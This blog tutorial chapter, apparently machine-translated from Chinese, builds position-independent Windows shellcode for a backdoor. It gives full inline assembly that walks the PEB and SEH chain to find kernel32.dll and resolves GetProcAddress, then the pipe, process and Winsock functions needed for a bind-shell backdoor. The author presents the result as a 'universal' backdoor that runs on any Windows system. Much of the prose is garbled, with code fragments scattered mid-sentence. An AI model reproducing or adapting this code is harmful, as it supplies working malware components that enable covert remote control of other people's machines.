In the previous article, we implemented a forward anonymous pipeline ShellCode
backdoor. In order to ensure that the article is concise and easy to understand, we did not add a dynamic positioning function for the calling function. This method will lead to our backdoor due to address changes after changing the system. cannot be used normally, the next step will be to obtain GetProcAddrees
the function address through PEB, and implement the self-locating function of the address of other required functions based on this function, and automatically locate the dynamic address of the required function by enumerating the memory export table, thereby realizing the backdoor of versatility.
1.7.1 Locating GetProcAddress via PEB
In Chapter 4.5, the author has completely analyzed and implemented kernel32.dll
the detailed analysis process of the base address of the positioning module. The following will directly use PEB
the search kernerl32
address. Readers can jump to the corresponding articles to learn and understand according to their own needs. This chapter only gives the implementation process. ;
- 1. Locate the FS register, the FS register points to the TEB structure
- 2.
TEB+0x30
Pointing to the PEB structure in the structure - 3. Point to the structure in
PEB+0x0C
placePEB_LDR_DATA
- 4.
PEB_LDR_DATA+0x1C
The address of kernel32.dll is stored in the second array of the place.
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd
mov eax, [eax + 0x08] ; eax就是kernel32.dll的地址
mov Kernel32,eax
}
system("pause");
return 0;
}
By running the above program, the reader can obtain kernel32.dll
the memory address of the module 0x75B20000
, and the output rendering is as follows;
Now that we have the base address of the current module, the next step is to find GetProcAddress
the memory address through this address, GetProcAddress
which is kernel32.dll
the exported function in the module, so we can kernel32.dll
find GetProcAddress
the memory address of the function by looking up the export table.
First, the structure definition of the export table is as follows;
Typedef struct _IMAGE_EXPORT_DIRECTORY
{
Characteristics; 4
TimeDateStamp 4 # 时间戳
MajorVersion 2 # 主版本号
MinorVersion 2 # 子版本号
Name 4 # 模块名
Base 4 # 基地址,加上序数就是函数地址数组的索引值
NumberOfFunctions 4 # EAT导出表条目数
NumberOfNames 4 # ENT导出函数名称表
AddressOfFunctions 4 # 指向函数地址数组
AddressOfNames 4 # 函数名字的指针地址
AddressOfNameOrdinal 4 # 指向输出序列号数组
}
The meaning of the fields:
NumberOfFunctions field: is AddressOfFunctions
the number of function address arrays pointed to;
NumberOfName field: is AddressOfNames
the number of function name arrays pointed to;
AddressOfFunctions field: is an array pointing to all function addresses in the module;
AddressOfNames field: is an array pointing to all function names in the module;
AddressOfNameOrdinals field: points to AddressOfNames
an array of ordinals corresponding to functions in the array;
When the reader needs to Kernel32.dll
query the address in the module GetProcAddress
, he can use the implementation process as shown below;
- 1. By finding and getting the module base address
TEB/PEB
in itkernel32.dll
- 2.
(基址+0x3c)
Obtaine_lfanewc
here represents the logo of the PE module. - 3.
(基址+e_lfanew+0x78)
Get the address of the export table at - 4.
(基址+export+0x1c)
Get it everywhereAddressOfFunctions、AddressOfNames、AddressOfNameOrdinalse
- 5. Search
AddressOfNames
to determineGetProcAddress
the correspondingindex
- 6. The subscript
index = AddressOfNameOrdinalse [ index ]
is extracted, and the function address is storedAddressOfFunctions [ index ]
in it
As shown in the above process, GetProcAddress
the address we are looking for is the name of the search in the function name array GetProcAddress
; after finding it, according to the number, we get its corresponding serial number value in the serial number array; finally, based on the serial number value, we extract it from the address array. its address. Its assembly code is as follows, and a detailed explanation is given.
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
__asm
{
// 得到Kernel32基址
mov eax, fs:0x30 ; PEB的地址
mov eax, [eax + 0x0c] ; Ldr的地址
mov esi, [eax + 0x1c] ; Flink地址
lodsd ;加载字符串
mov eax, [eax + 0x08] ; kernel32.dll基址
// 定位到导出表
mov ebp, eax ; 将基址存入ebp
mov eax, [ebp + 3Ch] ; eax = PE首部
mov edx, [ebp + eax + 78h] ; 导出表地址
add edx, ebp ; edx = 导出表地址
mov ecx, [edx + 18h] ; ecx = 输出函数的个数
mov ebx, [edx + 20h]
add ebx, ebp ; ebx =函数名地址,AddressOfName
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, ebp ; 依次找每个函数名称
// 枚举寻找GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
// 如果是GetProcAddr则计算导出地址
mov ebx, [edx + 24h]
add ebx, ebp ; ebx = 序号数组地址, AddressOf
mov cx, [ebx + ecx * 2] ; ecx = 计算出的序号值
mov ebx, [edx + 1Ch]
add ebx, ebp ; ebx=函数地址的起始位置,AddressOfFunction
mov eax, [ebx + ecx * 4]
add eax, ebp ; 利用序号值,得到出GetProcAddress的地址
}
system("pause");
return 0;
}
add eax,ebp
Readers need to set a breakpoint at the end of the disassembly , and then run the program. eax
From the observed data, we can see that the current GetProcAddress
address is 0x75c39570
, and the output rendering is as follows;
1.7.2 Compile to realize dynamic positioning function
With the support of the above functions, the implementation of dynamic positioning will become extremely easy. First, we determine the memory address through dynamic positioning GetProcAddress
. The function receives a string parameter, then we push
convert the hexadecimal value of the string into It is pushed onto the stack and saved in call [ebp+76]
sequence , and then GetProcAddress
the memory address is dynamically obtained by calling a function. When the address is obtained, it is stored in the EAX register by default. At this time, it mov [ebx+]
is filled in sub esp,80
the allocated local space in turn and waits to be called.
The first prerequisite for implementing this function is that we need to get the hexadecimal value corresponding to a specific string and cut the value in 32-bit mode. This code can be converted very quickly using the Python language, as shown below. After the reader runs it, it will output the hexadecimal form of the function string we need;
import os,sys
# 传入字符串转为机器码
def StringToHex(String):
# 将字符串转换成字节串
byte_str = String.encode()
# 将字节串转换成16进制字符串
hex_str = byte_str.hex()
# 将16进制字符串分割成32位一组,并用0填充不足32位的部分
hex_list = [hex_str[i:i+8].ljust(8, '0') for i in range(0, len(hex_str), 8)]
# 用空格连接每组32位的16进制字符串
result = ' '.join(hex_list)
return result
if __name__ == "__main__":
MyList = [
"LoadLibraryA","CreatePipe","CreateProcessA","PeekNamedPipe","WriteFile",
"ReadFile","ExitProcess","WSAStartup","socket","bind","listen","accept",
"send","recv","Ws2_32"
]
for index in range(0,len(MyList)):
print("[*] 函数 = {:18s} | 压缩数据: {}".format(MyList[index],StringToHex(MyList[index])))
By running the above code snippet, the reader can get the hexadecimal form of the function, which is cut by 32 bits, and any less than 32 bits is padded with 0s, as shown in the figure below;
First, we take CreatePipe
a function as an example. The function string compressed data is 43726561,74655069,70650000
, and due to the last-in-first-out feature of the stack, we need to flip it over to store it. Flip it over 00006570,69506574,61657243
, and because the memory address of the current function GetProcAddress
is stored at ebp+76
, then the purpose of calling the function can be achieved through CALL
this address. When the execution is completed, the return value is placed in the EAX register. At this time, you only need to mov [ebp+]
assign values to different variables according to different variable spaces;
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call [ebp+76]
mov [ebp+4], eax; CreatePipe
Next, let’s talk about WSAStartup
the function. This function is obviously not kernel32.dll
within the module. It is Ws2_32.dll
within the module. We need to first call, call [ebp+80]
that is, call the LoadLibrary
loading module to get the base address of the module, and then get the base address of the function in the module ws2_32.dll
through the call. But readers It should be noted that when you need to push two parameters, the string refers to the string, and it is our string, which is described in the form of a high-level language;call [ebp+76]
WSAStartup
call [ebp+76]
push edi
ws2_32.dll
push esp
WSAStartup
GetProcAddress("Ws2_32.dll","WSAStartup")
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call [ebp+80] ;LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call [ebp+76]
mov [ebp+28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
Based on the above extraction principles, readers can extract code snippets and replace strings at specific locations. Finally, they can get a self-positioning ShellCode code snippet as shown below. After running this snippet, we can enumerate the memory address of the function we need. And put it in a temporary variable, waiting for us to use;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
LoadLibrary("ws2_32.dll");
__asm
{
push ebp;
sub esp, 100;
mov ebp, esp;
mov eax, fs:0x30
mov eax, [eax + 0x0c]
mov esi, [eax + 0x1c]
lodsd
mov edi, [eax + 0x08]
mov eax, [edi + 3Ch]
mov edx, [edi + eax + 78h]
add edx, edi
mov ecx, [edx + 18h]
mov ebx, [edx + 20h]
add ebx, edi
search :
dec ecx
mov esi, [ebx + ecx * 4]
add esi, edi
; GetProcAddress
mov eax, 0x50746547
cmp[esi], eax; 'PteG'
jne search
mov eax, 0x41636f72
cmp[esi + 4], eax; 'Acor'
jne search
; 如果是GetProcA表示找到
mov ebx, [edx + 24h]
add ebx, edi
mov cx, [ebx + ecx * 2]
mov ebx, [edx + 1Ch]
add ebx, edi
mov eax, [ebx + ecx * 4]
add eax, edi
; 把GetProcAddress的地址存在ebp + 76中
mov[ebp + 76], eax
push 0x0
push dword ptr 0x41797261
push dword ptr 0x7262694c
push dword ptr 0x64616f4c
push esp
push edi
call[ebp + 76]
; 把LoadLibraryA的地址存在ebp+80中
mov[ebp + 80], eax; LoadLibraryA 0x41797261 0x7262694c 0x64616f4c
push dword ptr 0x00006570
push dword ptr 0x69506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 4], eax; CreatePipe 0x00006570 69506574 61657243
push dword ptr 0x00004173
push dword ptr 0x7365636f
push dword ptr 0x72506574
push dword ptr 0x61657243
push esp
push edi
call[ebp + 76]
mov[ebp + 8], eax; CreateProcessA 0x4173 7365636f 72506574 61657243
push dword ptr 0x00000065
push dword ptr 0x70695064
push dword ptr 0x656d614e
push dword ptr 0x6b656550
push esp
push edi
call[ebp + 76]
mov[ebp + 12], eax; PeekNamedPipe 0x00000065 70695064 656d614e 6b656550
push dword ptr 0x00000065
push dword ptr 0x6c694665
push dword ptr 0x74697257
push esp
push edi
call[ebp + 76]
mov[ebp + 16], eax; WriteFile 0x00000065 0x6c694665 0x74697257
push dword ptr 0
push dword ptr 0x656c6946
push dword ptr 0x64616552
push esp
push edi
call[ebp + 76]
mov[ebp + 20], eax; ReadFile
push dword ptr 0x00737365
push dword ptr 0x636f7250
push dword ptr 0x74697845
push esp
push edi
call[ebp + 76]
mov[ebp + 24], eax; ExitProcess 0x00737365 0x636f7250 0x74697845
push dword ptr 0x00003233
push dword ptr 0x5f327357
push esp
call[ebp + 80]; LoadLibrary(Ws2_32) 0x00003233 5f327357
mov edi, eax
push dword ptr 0x00007075
push dword ptr 0x74726174
push dword ptr 0x53415357
push esp
push edi
call[ebp + 76]
mov[ebp + 28], eax; WSAStartup 0x00007075 0x74726174 0x53415357
push dword ptr 0x00007465
push dword ptr 0x6b636f73
push esp
push edi
call[ebp + 76]
mov[ebp + 32], eax; socket 0x00007465 0x6b636f73
push dword ptr 0
push dword ptr 0x646e6962
push esp
push edi
call[ebp + 76]
mov[ebp + 36], eax; bind 0x646e6962
push dword ptr 0x00006e65
push dword ptr 0x7473696c
push esp
push edi
call[ebp + 76]
mov[ebp + 40], eax; listen 0x00006e65 0x7473696c
push dword ptr 0x00007470
push dword ptr 0x65636361
push esp
push edi
call[ebp + 76]
mov[ebp + 44], eax; accept 0x00007470 0x65636361
push 0
push dword ptr 0x646e6573
push esp
push edi
call[ebp + 76]
mov[ebp + 48], eax; send 0x646e6573
push 0
push dword ptr 0x76636572
push esp
push edi
call [ebp + 76]
mov [ebp + 52], eax; recv 0x76636572
}
system("pause");
return 0;
}
The reader can make a judgment at a specific location and switch to assembly mode. For example, the reader can set system("pause")
a breakpoint above and switch to the automatic window after running. EAX=0x76c323a0
The memory address that can be seen is exactly recv
the memory address of the function, as shown below. shown;
At this point, we have implemented the enumeration of function memory through self-positioning. Readers can copy and replace the positioning code in this case to the previous article. At this time, we have implemented a complete universal backdoor program ShellCode
. The program can Windows
be executed correctly under any system;
1.7.3 Use SEH chain to obtain Kernel32 base address
SEH (Structured Exception Handling) exception handling chain is a data structure used to maintain and track the calling relationship of exception handlers that occur when the program is running. When an exception occurs during program execution, the SEH exception handling chain traverses the exception handlers in the linked list in a certain order until it finds a program that can handle the exception.
There is a default exception handling function in the SEH linked list. UnhandledExceptionFilter
When the program encounters an unhandled exception during execution, the operating system will call UnhandledExceptionFilter
a function to catch the exception, and the function will return a specific value to tell the operating system how to handle the exception. .
The UnhandledExceptionFilter pointer is at the end of the exception chain, and its previous value points to the address of the next processing point. Because there is no exception handling point later, it will be represented as 0xFFFFFFFF.
With this principle, we can search the exception handling linked list and get the UnhandledExceptionFilter
memory address. First, we mov esi,fs:0
get the thread's TLS
pointer, which is the thread's local storage, and then traverse downward in a loop until we reach the end of the pointer. At this time UnhandledExceptionFilter
The address is also obtained , and the following code snippet can output the address;
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最后
mov eax, [eax] ; 否则继续遍历
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
mov address,eax
}
printf("UnhandledExceptionFilter = %x \n", address);
system("pause");
return 0;
}
Executing the above assembly instructions, you can obtain UnhandledExceptionFilter
the memory address, and the output result here is as shown in the figure below;
At this point we have obtained UnhandledExceptionFilter
the memory address of the function. Since the function is Kernel32.dll
an exported function, we UnhandledExceptionFilter
search upwards from the address of the function and find the beginning, which is naturally Kerner32
the base address.
In addition, because Kerner32
the module is also an executable file, its start mark is also MZ
and PE
, and because when the system allocates a certain space, it always starts from an allocation granularity boundary. Under 32-bit, this granularity is 64KB. So when we search, we can 64kb
search to the lower address in descending order. When we reach the MZ
and PE
mark, we will find Kernel32
the base address. The implementation code is as follows:
#include <stdio.h>
#include <Windows.h>
int main(int argc, char *argv[])
{
LoadLibrary("kernel32.dll");
DWORD address = 0;
__asm
{
mov esi, fs:0;
lodsd;
GetExeceptionFilter:
cmp[eax],0xffffffff
je GetedExeceptionFilter ; 到最后
mov eax, [eax] ; 否则继续遍历
jmp GetExeceptionFilter
GetedExeceptionFilter:
mov eax, [eax + 4]
FindMZ :
and eax, 0xffff0000 ; 64k对齐特征
cmp word ptr[eax], 'ZM' ; 判断是不是MZ格式
jne MoveUp
mov ecx, [eax + 0x3c]
add ecx, eax
cmp word ptr[ecx], 'EP' ; 判断是不是PE
je Found ; 找到了
MoveUp :
dec eax ; 指向下一个界起始地址
jmp FindMZ
Found :
mov address, eax
nop
}
printf("Kernel32 = %x \n", address);
system("pause");
return 0;
}
Compile and run the above assembly code, kernel32.dll
the base address of the module can be output, and the output effect is as follows;
Author of this article: Wang Rui
Link to this article: https://www.lyshark.com/post/a6bb88a7.html
Copyright Statement: Unless otherwise stated, all articles on this blog adopt the BY-NC-SA license agreement. Please indicate the source!